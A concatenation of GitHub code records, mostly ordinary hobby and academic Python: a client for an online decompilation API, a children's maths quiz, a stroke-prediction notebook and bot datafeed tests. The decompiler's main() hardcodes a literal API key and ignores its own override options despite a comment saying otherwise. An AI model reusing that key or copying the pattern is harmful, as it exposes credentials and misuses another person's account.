print_download_header_unless_already_printed(self):\n \"\"\"Prints the \"downloading\" header (unless already printed).\"\"\"\n if self.first_download:\n sys.stdout.write('\\nDownloading:\\n')\n self.first_download = False\n\n\ndef parse_args(argv):\n \"\"\"Parses the given list of arguments.\"\"\"\n parser = argparse.ArgumentParser(\n description='Decompiler of executable files.'\n )\n parser.add_argument('file',\n metavar='FILE',\n help='file to decompile')\n parser.add_argument('-a', '--architecture',\n dest='architecture',\n choices={'mips', 'pic32', 'arm', 'thumb', 'powerpc', 'x86'},\n help='architecture (default: automatic detection)')\n parser.add_argument('-f', '--file-format',\n dest='file_format',\n choices={'elf', 'pe'},\n help='file format (default: automatic detection)')\n parser.add_argument('-k', '--api-key',\n dest='api_key',\n metavar='KEY',\n help='API key to be used')\n parser.add_argument('-l', '--target-language',\n dest='target_language',\n choices={'c', 'py'},\n default='c',\n help='target high-level language (default: c)')\n parser.add_argument('-m', '--mode',\n dest='mode',\n choices={'c', 'bin'},\n help='decompilation mode (default: automatic detection)')\n parser.add_argument('-u', '--api-url',\n dest='api_url',\n metavar='URL',\n default='https://retdec.com/service/api',\n help='URL to the API (default: https://retdec.com/service/api)')\n parser.add_argument('-v', '--verbose',\n dest='verbose',\n action='store_true',\n default=False,\n help='be more verbose during the decompilation')\n parser.add_argument('-w', '--wait-time',\n dest='wait_time',\n metavar='TIME',\n type=float,\n default=1,\n help='how many seconds should the script wait between status requests')\n return parser.parse_args(argv[1:])\n\n\ndef create_settings(args):\n \"\"\"Creates decompilation settings based on the arguments provided by the\n user.\n \"\"\"\n settings = {}\n\n # Mode.\n if args.mode is not None:\n settings['mode'] = args.mode\n else:\n settings['mode'] = 'c' if args.file.endswith('.c') else 'bin'\n\n # Architecture.\n if args.architecture is not None:\n settings['architecture'] = args.architecture\n\n # File format.\n if args.file_format is not None:\n settings['file_format'] = args.file_format\n\n # Target high-level language.\n settings['target_language'] = args.target_language\n\n return settings\n\n\ndef create_session(api_key):\n \"\"\"Creates a session for requests.\"\"\"\n # By using a session, we can speed up the querying since sessions\n # automatically use connection pools that utilize keep-alive HTTP\n # connections. Moreover, they allow to set default arguments to be used,\n # i.e. we can just set the authentication here so we do not have to pass\n # the API key around.\n session = requests.Session()\n session.auth = (api_key, '')\n return session\n\n\ndef get_arg_or_env(args, arg_name, env_name):\n \"\"\"Returns the argument of the given name (if not None) or the value of the\n given environmental variable.\n \"\"\"\n arg = getattr(args, arg_name, None)\n if arg is None:\n arg = os.getenv(env_name)\n return arg\n\n\ndef send_request(session, method, url, **kwargs):\n \"\"\"Sends a request of the given method (GET/POST) to the given URL with the\n given arguments.\n\n Returns the body of the response. If the response indicates an error,\n DecompilationError is raised.\n \"\"\"\n requests_method = getattr(session, method.lower())\n response = requests_method(url, **kwargs)\n verify_response(response)\n return response\n\n\ndef verify_response(response):\n \"\"\"Verifies that the given response is OK.\n\n Raises DecompilationError where there was an error.\n \"\"\"\n if response.ok:\n return\n\n if response.status_code == 401:\n raise DecompilationError('authentication with the given API key failed')\n\n if response.status_code == 404:\n raise DecompilationError(\n \"'{}' was not found (is the provided API URL valid?)\".format(\n response.request.url\n )\n )\n\n response_json = response.json()\n raise DecompilationError(\"{} request to '{}' returned '{} {} ({})'\".format(\n response.request.method,\n response.request.url,\n response.status_code,\n response_json['message'],\n response_json['description']\n )\n )\n\n\ndef get_links_from_response(response):\n \"\"\"Returns links from the given response.\"\"\"\n response_json = response.json()\n return response_json['links']\n\n\ndef decompile_file(session, file, settings, api_url, wait_time,\n progress_displayer):\n \"\"\"Decompiles the given file with the given settings, displays progress,\n and downloads the decompiled output.\n \"\"\"\n status_url, outputs_url = send_decompilation_request(session, file,\n settings, api_url)\n decompilation_succeeded = wait_until_decompilation_is_finished(\n session, status_url, wait_time, progress_displayer)\n if decompilation_succeeded:\n download_decompilation_outputs(session, outputs_url,\n os.path.dirname(file), progress_displayer)\n sys.exit(0 if decompilation_succeeded else 1)\n\n\ndef send_decompilation_request(session, file, settings, api_url):\n \"\"\"Sends a new decompilation request and returns the status and outputs\n URLs.\n \"\"\"\n decompilations_url = api_url.rstrip('/') + '/decompiler/decompilations'\n \n with open(file, 'rb') as input_file:\n files = {'input': (os.path.basename(file), input_file)}\n response = send_request(session, 'POST', decompilations_url,\n data=settings, files=files)\n links = get_links_from_response(response)\n return links['status'], links['outputs']\n\n\ndef wait_until_decompilation_is_finished(session, status_url, wait_time,\n progress_displayer):\n \"\"\"Waits until the decompilation is finished.\n\n Displays progress during the waiting.\n\n Returns True if the decompilation succeeded, False otherwise.\n \"\"\"\n while True:\n response = send_request(session, 'GET', status_url)\n response_json = response.json()\n progress_displayer.display_decompilation_progress(response_json)\n if response_json['finished']:\n return response_json['succeeded']\n time.sleep(wait_time)\n\n\ndef download_decompilation_outputs(session, outputs_url, outputs_dir,\n progress_displayer):\n \"\"\"Downloads decompilation outputs based on the given URL to the given\n directory.\n \"\"\"\n # Download only some of the output files, i.e. do not download everything.\n links = get_links_to_available_outputs(session, outputs_url)\n # HLL (C or Python')\n download_file(session, links['hll'], outputs_dir, progress_displayer)\n # DSM (disassembler)\n download_file(session, links['dsm'], outputs_dir, progress_displayer)\n\n\ndef get_links_to_available_outputs(session, outputs_url):\n \"\"\"Obtains links to available outputs from the given URL.\"\"\"\n response = send_request(session, 'GET', outputs_url)\n return get_links_from_response(response)\n\n\ndef download_file(session, url, output_dir, progress_displayer):\n \"\"\"Downloads the file from the given URL and stores it to the given\n directory.\n \"\"\"\n response = send_request(session, 'GET', url, stream=True)\n output_file_name = get_file_name_from_response(response)\n progress_displayer.display_download_progress(output_file_name)\n with open(os.path.join(output_dir, output_file_name), 'wb') as output_file:\n shutil.copyfileobj(response.raw, output_file)\n\n\ndef get_file_name_from_response(response):\n \"\"\"Returns a file name from the given response.\"\"\"\n m = re.search('filename=(\\S+)', response.headers['Content-Disposition'])\n return m.group(1)\n\n\ndef main(argc, argv):\n try:\n args = parse_args(argv)\n\n # Allow override of the API key/URL from the environment.\n api_url = \"https://retdec.com/service/api\"\n if api_url is None:\n raise DecompilationError(\n 'no API URL provided (use -u/--api-url or '\n 'the API_URL environmental variable)'\n )\n api_key = \"3413f98f-39ca-4a3a-bca3-ffc226dcaac1\"\n if api_key is None:\n raise DecompilationError(\n 'no API key provided (use -k/--api-key or '\n 'the API_KEY environmental variable)'\n )\n\n # Create a proper progress displayer.\n if args.verbose:\n progress_displayer = ProgressLogDisplayer(args.file)\n else:\n progress_displayer = ProgressBarDisplayer(args.file)\n\n settings = create_settings(args)\n session = create_session(api_key)\n\n decompile_file(session, args.file, settings, api_url, args.wait_time,\n progress_displayer)\n except DecompilationError as ex:\n sys.stderr.write('error: {}\\n'.format(ex))\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main(len(sys.argv), sys.argv)\n","repo_name":"ajinabraham/tizen-security","sub_path":"tizen_tpk_decompiler.py","file_name":"tizen_tpk_decompiler.py","file_ext":"py","file_size_in_byte":16605,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"90"} +{"seq_id":"7771415124","text":"from tkinter import *\r\nimport random\r\nfrom tkinter import messagebox\r\nfrom operator import add, sub, mul\r\nfrom v_2 import *\r\n\r\nclass Inter_face:\r\n \r\n def __init__(self, wind):\r\n self.wind = wind\r\n self.notvalid = False\r\n # menu frame\r\n def inter_face(self):\r\n\r\n self.menu = Frame(self.wind)\r\n self.menu .grid()\r\n #player Name \r\n Label(self.menu, font=(\"Arial 17 bold\"), text=\"Player Name: \").place(x=95,y=160)\r\n self.pn=Entry(self.menu,font=\"Arial 14 bold\")\r\n self.pn.place(x=250,y=165,width=100,height=25)\r\n # age \r\n\r\n vcmd = (self.menu.register(self.validate),\r\n '%d', '%i', '%P', '%s', '%S', '%v', '%V', '%W')\r\n Label(self.menu, font=(\"Arial 17 bold\"), text=\"Player age: \").place(x=100,y=210)\r\n self.pa=Entry(self.menu,font=\"Arial 14 bold\", validate = 'key',validatecommand = vcmd)\r\n self.pa.place(x=250,y=215,width=100,height=25)\r\n self.pa.focus()\r\n\r\n #free space\r\n self.free_space()\r\n #title\r\n Label(self.menu ,text=\"Welcome to maths games \", font=\"Arial 30 bold\").grid(row=0, column=2)\r\n #Level 1\r\n Button(self.menu ,text=\"Level 1\",bg=\"cornflower blue\",fg=\"black\",activeforeground = \"green\",command=self.level_1,font=\"Arial 14 bold\",width=9,height=2).place(x=400 , y=130)\r\n #Level 2\r\n Button(self.menu ,text=\"Level 2\",bg=\"#ffab40\",fg=\"black\",command =self.level_2,font=\"Arial 14 bold\",width=9,height=2).place(x=400 , y=198)\r\n #Level 3\r\n Button(self.menu ,text=\"Level 3\",bg=\"red\",fg=\"black\",command =self.level_3,font=\"Arial 14 bold\",width=9,height=2).place(x=400 , y=268)\r\n \r\n # random nubers from lest\r\n \r\n #free_space\r\n def free_space(self):\r\n Label(self.menu,text=\"----\",font=\"Arial 40 bold\",fg=\"gray95\").grid(column=1,row=0)\r\n Label(self.menu,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=1)\r\n Label(self.menu,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=2)\r\n Label(self.menu,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=3)\r\n Label(self.menu,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=2,row=4)\r\n Label(self.menu,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=3,row=4)\r\n Label(self.menu,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=4,row=4)\r\n #level 1\r\n def level_1(self):\r\n self.lv = \"1\"\r\n self.player_n = self.pn.get().capitalize()\r\n self.player_a = self.pa.get()\r\n \r\n self.player = Student(self.player_n, self.player_a)\r\n w , z = self.player.level_one()\r\n self.x = (z)\r\n self.y = (w)\r\n self.levels()\r\n #level 2\r\n def level_2(self):\r\n self.lv = \"2\"\r\n # random nubers from lest\r\n self.player_n = self.pn.get().capitalize()\r\n self.player_a = self.pa.get()\r\n\r\n self.player = Student(self.player_n, self.player_a)\r\n w , z = self.player.level_two()\r\n self.x = (z)\r\n self.y = (w)\r\n self.levels()\r\n #level 3\r\n def level_3(self):\r\n self.lv = \"3\"\r\n # random nubers from lest\r\n self.player_n = self.pn.get().capitalize()\r\n self.player_a = self.pa.get()\r\n\r\n self.player = Student(self.player_n, self.player_a)\r\n w , z = self.player.level_three()\r\n self.x = (z)\r\n self.y = (w) \r\n self.levels()\r\n #level one frame \r\n def levels(self):\r\n self.scoer_count = 0\r\n self.count = 1\r\n\r\n self.lev = self.lv\r\n\r\n age_error = self.player.age_verification() \r\n\r\n if len(self.player_n) == 0 or len(self.player_a) == 0:\r\n self.notvalid = True\r\n messagebox.showerror( \"ERROR\",\"All boxes must be filled *\")\r\n \r\n elif age_error == False:\r\n self.notvalid = True\r\n messagebox.showerror(\"ERROR\", \"you must be 5-12 years old to play *\")\r\n else:\r\n self.menu.grid_forget()\r\n self.level = Frame(self.wind)\r\n self.level.grid()\r\n self.notvalid = False\r\n for widget in self.level.winfo_children():\r\n widget.destroy()\r\n # level title\r\n Label(self.level,text=f\"Welcome to Level {self.lev}\", font=\"Arial 30 bold\").grid(row=0, column=3)\r\n # problem\r\n self.reandom_q()\r\n #free space \r\n self.free_space_1()\r\n #submet button \r\n Button(self.level ,text=\"Submit\",bg=\"cornflower blue\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command = lambda: self.submet(self.problem)).place(x=510, y=300)\r\n #free space \r\n def free_space_1(self):\r\n Label(self.level,text=\"------\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=4)\r\n Label(self.level,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=1)\r\n Label(self.level,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=2)\r\n Label(self.level,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=3)\r\n Label(self.level,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=3,row=4)\r\n Label(self.level,text=\"--------\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=4,row=4)\r\n # Submit butt\r\n def submet(self,prob):\r\n\r\n ben = self.problem.get()\r\n # input == answer\r\n if prob.get() == str(self.answer()):\r\n correct = Label(self.level, text=\"✔️\", fg=\"green\",font=\"Arial 20 bold\")\r\n correct.place(x=500, y=160)\r\n self.scoer_count += 1 \r\n self.count += 1\r\n self.nex =Button(self.level ,text=\"Next\",bg=\"green\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command = self.next ).place(x=510, y=300)\r\n # input == 0 \r\n elif len(ben) == 0:\r\n self.notvalid = True\r\n messagebox.showerror(\"ERROR\", \"All boxes must be filled *\")\r\n else:\r\n wrong = Label(self.level, text=\"❌\", fg=\"red\")\r\n wrong.place(x=500, y=160)\r\n self.count += 1\r\n self.nex =Button(self.level ,text=\"Next\",bg=\"green\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command = self.next ).place(x=510, y=300)\r\n Label(self.level ,text=f\"The Answer is {self.answer_1}\",font=\"Arial 14 bold\").place(x=310, y=220)\r\n\r\n # button == 10 times \r\n if self.count == 11:\r\n Button(self.level ,text=\"Next\",bg=\"green\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command = self.lest_q ).place(x=510, y=300)\r\n #end of Q\r\n def lest_q(self):\r\n # End of Q\r\n Label (self.level, text=\"=============\",font=\"Arial 50 bold\",fg=\"gray95\").place(x= 150 , y = 140)\r\n Label(self.level, text=f\"End of Game \",font=\"Arial 40 bold\") .place(x= 165 , y = 145)\r\n Label (self.level, text =\"=========\",font=\"Arial 20 bold\",fg=\"gray95\").grid(row=0 , column=1)\r\n Label (self.level, text =\"===========\",font=\"Arial 20 bold\",fg=\"gray95\").place(x=310, y=220)\r\n # next Frame button\r\n Button(self.level ,text=\"Exit\",bg=\"cornflower blue\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command = self.End_wind ).place(x=510, y=300)\r\n # answer\r\n def answer(self):\r\n return self.answer_1\r\n # next Q\r\n def next(self):\r\n Label (self.level, text =\"===========\",font=\"Arial 20 bold\",fg=\"gray95\").place(x=310, y=220)\r\n self.reandom_q()\r\n Button(self.level ,text=\"Submit\",bg=\"cornflower blue\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command = lambda: self.submet(self.problem)).place(x=510, y=300) \r\n #qustion / count\r\n def qustion (self):\r\n Label (self.level, text=\"==========\",font=\"Arial 50 bold\",fg=\"gray95\").place(x= 150 , y = 140)\r\n question = Label(self.level, text=f\"{self.one} {self.add} {self.two} =\",font=\"Arial 40 bold\")\r\n question.place(x= 165 , y = 145)\r\n #problem\r\n \r\n vcmd = (self.level.register(self.validate),\r\n '%d', '%i', '%P', '%s', '%S', '%v', '%V', '%W')\r\n self.problem = Entry(self.level,font=\"Arial 30 bold\" , validate = 'key',validatecommand = vcmd)\r\n self.problem.place(x=400,y=160,width=90,height=40)\r\n self.problem.focus()\r\n\r\n #count\r\n Label (self.level, text=f\"Q:({self.count}/10)\",font=\"Arial 20 bold\").grid(row=0 , column=1) \r\n # pervent_abcd \r\n def validate(self, action, index, value_if_allowed,\r\n prior_value, text, validation_type, trigger_type, widget_name):\r\n if text in '0123456789.-+':\r\n try:\r\n if value_if_allowed:\r\n float(value_if_allowed)\r\n return True\r\n except ValueError:\r\n return False\r\n else:\r\n return False\r\n # random question \r\n def reandom_q(self): \r\n # random Q from lest \r\n self.one = random.choice(self.y)\r\n self.two = random.choice(self.x)\r\n\r\n ops = (add, sub, mul)\r\n op = random.choice(ops)\r\n #add Q\r\n if op == add:\r\n #qustion\r\n self.add = (\"+\")\r\n self.qustion() \r\n self.answer_1 = int(self.one) + int(self.two)\r\n #sub Q\r\n elif op == sub:\r\n #qustion\r\n self.add = (\"-\")\r\n self.qustion()\r\n self.answer_1 = int(self.one) - int(self.two)\r\n # mul Q\r\n elif op == mul:\r\n # qustion\r\n self.add = (\"x\")\r\n self.qustion()\r\n self.answer_1 = int(self.one) * int(self.two)\r\n # End wind frame \r\n def End_wind(self):\r\n self.player.save(self.scoer_count)\r\n self.level.destroy()\r\n self.score = Frame(self.wind)\r\n self.score.grid()\r\n self.free_space_2()\r\n #score count \r\n Label(self.score, text=\" Scoreboard \",font=\"Arial 30 bold\").grid(column=3 , row= 0)\r\n Label(self.score, text=f\"you Scored({self.scoer_count}/10)\",font=\"Arial 30 \").grid(column=3 , row= 2)\r\n #new game button\r\n Button(self.score ,text=\"New Game\",bg=\"cornflower blue\",fg=\"black\",command =self.new_g ,font=\"Arial 14 bold\",width=9,height=2).place(x=20, y=300)\r\n #new player button\r\n Button(self.score ,text=\"New Player\",bg=\"green\",fg=\"black\",command =self.new_p ,font=\"Arial 14 bold\",width=9,height=2).place(x=20, y=200)\r\n #exit button\r\n Button(self.score ,text=\"End Game\",bg=\"red\",fg=\"black\" ,font=\"Arial 14 bold\",width=9,height=2,command =self.wind.destroy).place(x=510, y=300)\r\n #free space\r\n def free_space_2(self):\r\n Label(self.score,text=\"---------\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=4)\r\n Label(self.score,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=1)\r\n Label(self.score,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=2)\r\n Label(self.score,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=1,row=3)\r\n Label(self.score,text=\"----\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=3,row=4)\r\n Label(self.score,text=\"----------\",font=\"Arial 50 bold\",fg=\"gray95\").grid(column=4,row=4)\r\n #new game\r\n def new_g(self):\r\n self.score.destroy()\r\n self.menu.grid() \r\n \r\n #new player\r\n def new_p(self):\r\n self.score.destroy()\r\n self.inter_face()\r\n\r\n\r\nroot = Tk()\r\n\r\nroot.title(\"OSC Course Selection\")\r\nroot.geometry(\"650x380\")\r\n\r\ngui = Inter_face(root)\r\n\r\ngui.inter_face()\r\nroot.mainloop()\r\nimport tkinter as tk","repo_name":"WalsalihiOSC/2021_assessment_project-st19225","sub_path":"v_1.py","file_name":"v_1.py","file_ext":"py","file_size_in_byte":11821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"70694265898","text":"from functools import reduce\nfrom pathlib import Path\nfile = Path('day_one/top_three/input.txt')\n\ndef get_input_data():\n with open(file, 'r') as f:\n for line in f:\n yield line.strip()\n\ndef get_next_elf():\n elf = 0\n for line in get_input_data():\n if line == '':\n yield elf\n elf = 0\n else:\n elf += int(line)\n\ndef find_elf_with_most_callories():\n elf_iterator = get_next_elf()\n return reduce(which_is_more, elf_iterator, 0)\n\ndef which_is_more(first, second):\n if first > second:\n return first\n return second\n\nif __name__ == \"__main__\":\n \n all_elves = sorted([x for x in get_next_elf()])\n top_three = all_elves[-3:]\n for x in top_three:\n print(str(x))\n \n print(str(sum(top_three)))","repo_name":"StevenBeasley/adventofcode2022","sub_path":"day_one/top_three/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"19468635265","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom IPython import get_ipython\n\n# %%\nimport numpy as np\nimport pandas as pd\nimport pandas_profiling as pp\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.impute import KNNImputer\nfrom sklearn.preprocessing import OrdinalEncoder\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import metrics\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# %% [markdown]\n# # Υποερώτημα Α\n#\n# Α. Να πραγματοποιηθεί ανάλυση του dataset και γραφική αναπαράσταση αυτής.\n\n# %%\nmissing_values = ['Unknown', 'N/A']\nhealthcare = pd.read_csv(\n 'data\\healthcare-dataset-stroke-data.csv', na_values=missing_values)\n\npp.ProfileReport(healthcare)\n\n\n# %% [markdown]\n# # Υποερώτημα Β\n# #### Από τα παραπάνω φαίνεται ότι λείπουν τιμές από δύο στήλες, την αριθμητική στήλη bmi και την κατηγορηματική στήλη smoking_status.\n#\n# ## Τρόπος 1 - drop columns\n#\n\n# %%\n# drop column that has any null items applies on both columns\nhealthcare_b1 = healthcare.dropna(axis=1, how='any')\n\nhealthcare_b1.columns\n\n\n# %% [markdown]\n# ## Τρόπος 2 - mean value\n\n# %%\n# fill missing values with the mean value\n# applies only to bmi column.\n# smoking_status column will be removed\n\nhealthcare_b2 = healthcare.fillna(healthcare.mean())\nhealthcare_b2 = healthcare_b2.dropna(axis=1, how='any')\n\nprint(healthcare_b2.isnull().sum())\n# print(healthcare_b2.head())\n\n# %% [markdown]\n# ## Τρόπος 3 - Linear Regression\n\n# %%\n# fill missing values using Linear Regression\n# applies only to numerical columns--bmi\n# smoking_status column will be removed\n\nhealthcare_b3 = healthcare.drop(['smoking_status'], axis=1)\n# age and bmi have the highest correlation so I well use a simple linear model regression bmi on age to fill the missing values in bmi\n# new dataset with no missing values in the age and bmi columns\ndf_bmi_age = healthcare_b3.dropna(axis=0, subset=['age', 'bmi'])\ndf_bmi_age = df_bmi_age.loc[:, ['age', 'bmi']]\n# print(df_bmi_age)\n# find where\nmissing_bmi = healthcare_b3['bmi'].isnull()\nage_missing_bmi = pd.DataFrame(healthcare_b3['age'][missing_bmi])\nmissing_bmi_index = age_missing_bmi.index\n\nX = df_bmi_age[['age']]\ny = df_bmi_age['bmi']\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n# fit linear moder\nlr = LinearRegression().fit(X_train, y_train)\nbmi_pred = lr.predict(age_missing_bmi)\n# print(missing_bmi_index)\n\nfor fill_index, dataframe_index in enumerate(missing_bmi_index):\n healthcare_b3.loc[dataframe_index, 'bmi'] = bmi_pred[fill_index]\n\n\nprint(healthcare_b3.isnull().sum())\n# visualise data\nplt.scatter(age_missing_bmi,\n healthcare_b3['bmi'][missing_bmi], marker='o', edgecolor='none')\nplt.plot(age_missing_bmi, bmi_pred, color=\"royalblue\", linewidth=2)\nplt.xlabel('age')\nplt.ylabel('bmi')\nplt.show()\n\n# %% [markdown]\n# ## Τρόπος 4 - K-Nearest neighbors\n\n# %%\n# fill missing values using k-nearest neighbors\n# applies to categorical columns -- smoking_status\n# bmi column will be removed\n\n# disable chained assignments\npd.options.mode.chained_assignment = None\n\n# encode categorical data of smoking_status column\nhealthcare_b4 = healthcare.drop(['bmi'], axis=1)\n\nencoder = OrdinalEncoder()\ncat_cols = healthcare_b4.select_dtypes('object').columns\n\n\ndef encode(data):\n nonulls = np.array(data.dropna())\n # reshapes the data for encoding\n impute_reshape = nonulls.reshape(-1, 1)\n # encode date\n impute_ordinal = encoder.fit_transform(impute_reshape)\n # Assign back encoded values to non-null values\n data.loc[data.notnull()] = np.squeeze(impute_ordinal)\n return data\n\n\nfor columns in cat_cols:\n encode(healthcare_b4[columns])\n\n\n# #knn imputer\nimputer = KNNImputer(n_neighbors=5, weights=\"uniform\")\nhealthcare_b4 = pd.DataFrame(np.round(imputer.fit_transform(\n healthcare_b4)), columns=healthcare_b4.columns)\n\n\n# healthcare_b4[['smoking_status']] = encoder.inverse_transform(healthcare_b4[['smoking_status']])\nprint(healthcare_b4.head(5))\nprint(healthcare_b4.isnull().sum())\n\n\n# %% [markdown]\n# # Υποερώτημα Γ\n\n# %%\nhealthcare_c = healthcare.copy()\nhealthcare_c[['bmi']] = healthcare_b3[['bmi']]\nhealthcare_c[['smoking_status']] = healthcare_b4[['smoking_status']]\nhealthcare_c[['gender']] = healthcare_b4[['gender']]\nhealthcare_c[['ever_married']] = healthcare_b4[['ever_married']]\nhealthcare_c[['work_type']] = healthcare_b4[['work_type']]\nhealthcare_c[['Residence_type']] = healthcare_b4[['Residence_type']]\n\n# healthcare_c.head(10)\n\n# %% [markdown]\n# ## TASK 1 - RANDOM FOREST\n# Για τα νέα μητρώα που προκύπτουν στο υποερώτημα Β, να προβλέψετε αν ένας ασθενής είναι επιρρεπής ή όχι να πάθει εγκεφαλικό χρησιμοποιώντας Random Forest χωρίζοντας το dataset σε trainingtest με αναλογία 75%-25%\n#\n\n# %%\nX = healthcare_c.drop(['stroke'], axis='columns')\ny = healthcare_c['stroke']\n# print(X.head(), y.head())\n\n# split training and test dataset\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20)\n\nmodel1 = RandomForestClassifier(n_estimators=1000, min_samples_leaf=75)\nmodel1.fit(X_train, y_train)\n\n# prediction\ny_test_array = y_test.values\ny_predicted = model1.predict(X_test)\nprint(metrics.accuracy_score(y_test_array, y_predicted))\n\n\n# df=pd.DataFrame({'Actual':y_test, 'Predicted':y_predicted})\n# df\nprint(metrics.confusion_matrix(y_test_array, y_predicted))\nprint('Classification Report --> \\n',\n metrics.classification_report(y_test_array, y_predicted, labels=[0, 1]))\n\n# %% [markdown]\n# ## TASK 3 - Comment results of the categorisation and experiment with different input parameters\n\n# %%\n\n\n# %%\n","repo_name":"geokr/Healthcare","sub_path":"healthcare.py","file_name":"healthcare.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"14417826862","text":"import asyncio\nfrom unittest import mock\nfrom unittest.async_case import IsolatedAsyncioTestCase\nfrom unittest.mock import MagicMock, AsyncMock\n\nfrom sym_api_client_python.clients.sym_bot_client import SymBotClient\nfrom sym_api_client_python.configure.configure import SymConfig\nfrom sym_api_client_python.datafeed_event_service import AsyncDataFeedEventService\nfrom sym_api_client_python.listeners.im_listener import IMListener\nfrom tests.clients.test_datafeed_client import get_path_relative_to_resources_folder\n\n\nclass TestDataFeedEventService(IsolatedAsyncioTestCase):\n\n def setUp(self):\n self.config = SymConfig(get_path_relative_to_resources_folder('./bot-config.json'))\n self.config.load_config()\n self.client = SymBotClient(None, self.config)\n self.ran = False\n\n @mock.patch(\n 'sym_api_client_python.clients.datafeed_client.DataFeedClient',\n new_callable=AsyncMock)\n async def test_read_datafeed_event_no_id(self, datafeed_client_mock):\n service = AsyncDataFeedEventService(self.client)\n self.client.get_bot_user_info = MagicMock(return_value={'id': 456})\n\n service.datafeed_client = datafeed_client_mock\n datafeed_client_mock.read_datafeed_async.side_effect = self.return_event_no_id_first_time\n\n listener = IMListenerRecorder(service)\n service.add_im_listener(listener)\n\n # Simulate start_datafeed\n await asyncio.gather(service.read_datafeed(), service.handle_events())\n\n self.assertIsNotNone(listener.last_message)\n\n @mock.patch(\n 'sym_api_client_python.clients.datafeed_client.DataFeedClient',\n new_callable=AsyncMock)\n async def test_read_datafeed_event_unknown_type(self, datafeed_client_mock):\n service = AsyncDataFeedEventService(self.client)\n self.client.get_bot_user_info = MagicMock(return_value={'id': 456})\n\n service.datafeed_client = datafeed_client_mock\n datafeed_client_mock.read_datafeed_async.side_effect = self.return_event_unknown_type_first_time\n\n listener = IMListenerRecorder(service)\n service.add_im_listener(listener)\n\n # Simulate start_datafeed\n await asyncio.gather(service.read_datafeed(), service.handle_events())\n\n self.assertIsNotNone(listener.last_message)\n\n async def return_event_no_id_first_time(self, _arg):\n if self.ran:\n # Give control back to handle_event coroutine\n await asyncio.sleep(0)\n return []\n\n self.ran = True\n event = {'type': 'MESSAGESENT', 'timestamp': 0,\n 'payload': {'messageSent': {'message': {'stream': {'streamType': 'IM'}}}},\n 'initiator': {'user': {'userId': 123}}}\n return [event]\n\n async def return_event_unknown_type_first_time(self, _arg):\n if self.ran:\n # Give control back to handle_event coroutine\n await asyncio.sleep(0)\n return []\n\n self.ran = True\n # If not properly handled, first event breaks the handle event loop and fails the test\n event1 = {'type': 'UNKNOWN', 'timestamp': 0, 'messageId': '123',\n 'payload': {'messageSent': {'message': {'stream': {'streamType': 'IM'}}}},\n 'initiator': {'user': {'userId': 123}}}\n event2 = {'type': 'MESSAGESENT', 'timestamp': 0, 'messageId': '234',\n 'payload': {'messageSent': {'message': {'stream': {'streamType': 'IM'}}}},\n 'initiator': {'user': {'userId': 123}}}\n return [event1, event2]\n\n\nclass IMListenerRecorder(IMListener):\n\n def __init__(self, service) -> None:\n super().__init__()\n self.service = service\n self.last_message = None\n\n async def on_im_message(self, message):\n self.last_message = message\n # Stop datafeed loop\n await self.service.deactivate_datafeed(False)\n\n def on_im_created(self, stream):\n pass # Not used\n","repo_name":"vvss12300/symphony-libs","sub_path":"tests/test_datafeed_event_service.py","file_name":"test_datafeed_event_service.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"11868215181","text":"\"\"\"\nResampling Land Use Flags to a Coarser Grid\n===========================================\n\nIn this recipe, we will compare the land use distribution in different countries\nusing a land use data file and visualize the data as a histogram. This will help\nto understand the proportion of different land use categories in each country.\n\nThe land use data is initially available at a high spatial resolution of\napproximately 100 m, with several flags defined with numbers representing the\ntype of land use. Regridding the data to a coarser resolution of approximately\n25 km would incorrectly represent the flags on the new grids.\n\nTo avoid this, we will resample the data to the coarser resolution by\naggregating the data within predefined spatial regions or bins. This approach\nwill give a dataset where each 25 km grid cell contains a histogram of land use\nflags, as determined by the original 100 m resolution data. It retains the\noriginal spatial extent of the data while reducing its spatial complexity.\nRegridding, on the other hand, involves interpolating the data onto a new grid,\nwhich can introduce artifacts and distortions in the data.\n\n\"\"\"\n\nimport 